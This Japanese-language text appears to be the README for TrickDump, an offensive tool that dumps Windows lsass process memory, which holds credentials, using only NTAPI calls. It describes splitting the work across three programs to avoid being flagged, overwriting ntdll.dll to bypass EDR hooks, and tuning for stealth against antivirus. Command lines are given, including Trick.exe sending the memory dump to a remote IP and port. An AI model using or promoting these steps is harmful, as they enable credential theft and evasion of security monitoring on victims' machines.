
NTAPI関数のみを使用してlsassをダンプし、3つのJSONファイルと1つのZIPファイルを作成...そして後でMiniDumpファイルを生成します!
TrickDumpは、Minidumpファイルを作成せずにlsassプロセスをダンプし、代わりにメモリ領域ダンプを含む3つのJSONファイルと1つのZIPファイルを生成します。以下の3つのステップで行われます。
Lock: RtlGetVersionを使用してOS情報を取得します。
Shock: NtOpenProcessTokenとNtAdjustPrivilegeTokenを使用してSeDebugPrivilege権限を取得し、NtGetNextProcessとNtQueryInformationProcessを使用してハンドルを開き、その後NtQueryInformationProcessとNtReadVirtualMemoryを使用してモジュール情報を取得します。
Barrel: SeDebugPrivilege権限を取得し、ハンドルを開いてから、NtQueryVirtualMemoryとNtReadVirtualMemoryを使用して情報を取得し、メモリ領域をダンプします。

攻撃システムでは、create_dump.pyスクリプトを使用してMinidumpファイルを生成します。
python3 create_dump.py [-l LOCK_JSON] [-s SHOCK_JSON] [-b BARREL_JSON] [-z BARREL_ZIP] [-o OUTPUT_FILE]
この手法の利点は以下の通りです。
ディスク、メモリ、ネットワークトラフィックのいずれにも有効なMinidumpファイルが存在しません。
攻撃全体を実行する単一のプログラムやプロセスはなく、3つの独立したプログラムが存在するため、フラグが立つ可能性が低くなります。
プログラムはNTAPIのみを使用します(このプロジェクトはNativeDumpのバリアントです)。
lsassプロセスハンドルをPROCESS_VM_OPERATIONおよびPROCESS_VM_WRITEアクセス権で取得するために、OpenProcessやNtOpenProcessを使用しません。
各プログラムでは、ntdll.dllライブラリの「.text」セクションを上書きしてAPIフックをバイパスできます。
このツールは異なる言語で利用可能です。
PPLが有効な場合、PEB構造体が読み取れない場合、またはバイナリが64ビットとしてコンパイルされていない場合は動作しません。更新: PEBを読み取らずにプログラムを実行できるようになりました。peb-unreadable branchを確認してください :)
この手法は最新バージョンのWindowsで正常に動作し、一般的なAVやEDRソリューションに対してテストされていますが、ステルス性は選択した「フレーバー」に依存します。一般的ではない言語を使用し、バイナリをカスタマイズすることで最良の結果が得られます。
プログラムは被害者システム上で実行され、3つのJSONファイル(メモリ領域情報を含む)と1つのzipファイル(各メモリ領域のダンプを含む)を作成します。
Lock.exe [disk/knowndlls/debugproc]
Shock.exe [disk/knowndlls/debugproc]
Barrel.exe [disk/knowndlls/debugproc]
ntdll.dllライブラリを上書きせずにプログラムを直接実行することもできます。

または、3つの異なる上書き手法のいずれかを使用します。

その後、Minidumpファイルが生成されます。

1つのバイナリだけを実行したい場合は、Trick.exeが3つのJSONファイルとメモリ領域を含むZIPファイルを生成します。
Trick.exe [disk/knowndlls/debugproc] [IP_ADDRESS] [PORT]
ZIPファイルをローカルで作成することもできます。必要に応じてNtdll上書きメソッドを使用します。

または、第2、第3パラメータとしてIPアドレスとポートを指定してリモートポートに送信します。

どちらの場合も、次のようなZIPファイルが得られるので、解凍してMinidumpファイルを作成します。
